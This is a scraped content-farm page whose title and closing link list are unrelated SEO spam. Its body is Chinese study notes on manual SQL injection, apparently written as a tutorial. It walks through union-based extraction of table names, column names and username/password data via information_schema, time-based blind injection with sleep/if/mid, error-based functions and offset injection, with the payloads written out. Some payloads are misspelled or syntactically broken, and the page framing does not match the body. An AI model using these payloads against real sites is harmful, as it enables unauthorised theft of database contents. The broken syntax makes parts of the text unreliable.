当前位置: 首页 > news >正文

在郑州建设网站这么做友情链接交换形式有哪些

在郑州建设网站这么做,友情链接交换形式有哪些,什么网站可以做教师资格证的题,网站制作例子ps:简单说下这里只写了我能理解的明白的,后面的二阶注入,堆叠注入没写 手工sql注入 1.存在sql注入本质上就是数据库过滤的不严格或者未进行过滤,1 and 11,返回正常,1 and 12 返回不正常,说明带到数据库里面…

ps:简单说下这里只写了我能理解的明白的,后面的二阶注入,堆叠注入没写

手工sql注入
1.存在sql注入本质上就是数据库过滤的不严格或者未进行过滤,1 and 1=1,返回正常,1 and 1=2 返回不正常,说明带到数据库里面去查询给语句了,这时候就可以判断存在sql注入了,再来判断注入类型,如果1 and 1=1  /  1 and 1=2 返回都正常说明直接给你过滤了或者说没带到数据库里面去查询,说明不存在sql注入。
当然这里说的示一阶注入,大多数网站都是来判断一阶注入,也有二阶注入。
当然现在不用老方法来判断了,现在可以用数字型(整形):id=1/1    1/0    id=2-1   id=2-2
                                                                                字符型:id=1'     id=1''

2.判断数据库有多少列,这里可以用order by语句  例:id=1 order by 3     (正常)
                                                                               id=1 order by 4     (正常)
                                                                               id=1 order by 5     (报错)
说明他的数据库就4列,5就报错了,4就是他的临界值也就是最大值
3.知道了他的数据库有多少列之后现在来判断注入点 可以用 union select语句 例:id=-1 union select 1,2,3,4 --+       (这里简单说下1前面的符号是为了直接执行union select 后面的语句 ,--+是为了过滤也就是注释掉 limit 0,1这个语句,可以用#也是注释的意思)。
4.知道了那一列有注入点之后来爆数据库的相关信息,比如数据库名啊,数据库版本号啊,数据库用户啊,表名,列明,字段名字,以及操作系统。
例:id=-1 union select 1,version(),database(),4这就能够知道他的数据库版本信息,以及数据库名,在用注入点来爆数据库的表名,列名,字段名,操作系统版本等。
5.当然这里注意一下如果是mysql5.0以上版本的加了一个information_schema这是高版本自带的数据库,以及information_schema.tables自带系统表,informations_schema.columns自带系统字段,表名table_name,字段名column_name,table_name,库名table_schema
6.那么mysql高版本查询表名 例:id=-1 union select 1,2,group_concat(table_name),4 from informations_schema.tables where table_schema=database()            #(database=数据库名)
7.查询列名:id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name='123'
8.查询列名中的数据 例:id=-1 union select group_concat(username),group_concat('~'password) from 123
9.那么5.0以下查询数据 例:id=-1 union select 1,2,字段名,4 from 表名

10.延时注入例:id=1 and sleep(5) --+     #就是延迟五秒
实例:username=1 and sleep(2) --+&password=123
来爆数据库长度:username=1 and sleep(if((length(database())=10),1,2)) --+&password=123
sleep(2)延迟两秒,if(判断条件是否成立成立就返回1,不成立返回2) ,length(判断数据库长度是否为10)
11.爆表名的第一位是否是q:
username=1 and sleep (if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1)1,1)='c'),1,2)) --+&password=123(就是把爆database是什么的语句换成那个了查询表名的语句)。
12.接下来爆字段名:
username=1 and sleep(if(mid((select column_name from information_schema.columns where table_name='qwert' and table_schema=database() limit 0,1),1,1)='y',1,2)) --+&password=123
13.爆数据名第一位:
username=1 and sleep(if(mid(()select username from cab limit+0,1),1,1)='o',1,2)) --+&password=123

14.报错注入他的原理就是一些特殊的函数错误的使用并输出错误的结果所导致的
最常见的报错注入函数有floor  etractvalue  updataxml
floor报错主要是因为group by 插入数据时由于rand多次计算导致主键重复,从而报错,又因为报错前concat()中sql语句被执行导致语句报错被抛出主键是sql语句或执行后的结果。


偏移注入:两列id=1 union select 1,2,3,4,5,6,7,8,9,* from(admin as a inner join admin as b on a.id=b.id)

三列:d=1 union select 1,2,3,4,5,6,7,8,9,* from((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id

http://www.shuangfujiaoyu.com/news/47968.html

相关文章:

  • 做网站流量怎么解决网站seo优化方案项目策划书
  • 淄博哪有培训做网站的sem是什么
  • 中企动力和东莞朝阳做的网站对比营销公司取名字大全
  • wordpress站内短信西地那非片吃了多久会硬起来
  • 青岛做网站皆赴青岛博采seo整站优化技术培训
  • 电商排行榜10强谷歌seo优化
  • 网站和app设计区别佛山seo
  • 专门做护肤品的网站是搜索引擎优化方法与技巧
  • 网站建设 模块兰州网络推广公司哪家好
  • ui设计与网站建设活动推广文案
  • 邯郸网站建百度竞价广告代理
  • 学校网站建设的必要性淄博新闻头条最新消息
  • 提升网站权重吗朝阳区seo
  • 建设部网站官网 下载规范昆山网站制作公司
  • dedecms做网站有多快优化排名seo
  • 很强大的网站运营方案1少儿培训
  • 网站 签约上海正规seo公司
  • 手机手机网站开发优帮云排名自动扣费
  • 做游戏女角色去衣的网站企业网络推广的方法有哪些
  • 网站 的建设意义自己做一个网站要多少钱
  • 网站自动识别移动终端百度 营销推广费用
  • 百货店怎么做网站送货网站如何宣传推广
  • 如何建立外贸网站网站视频
  • 网络技术与网站建设百度推广登陆
  • 肇东网站制作2023年的新闻时事热点论文
  • 杭州公司做网站整站seo技术
  • 中国关于生态文明建设的网站跨境电商靠谱吗
  • 网站开发合作保密协议百度推广开户多少钱
  • 设计建网站seo主要做哪些工作
  • 厦门房地产网站建设宁波网络营销推广咨询报价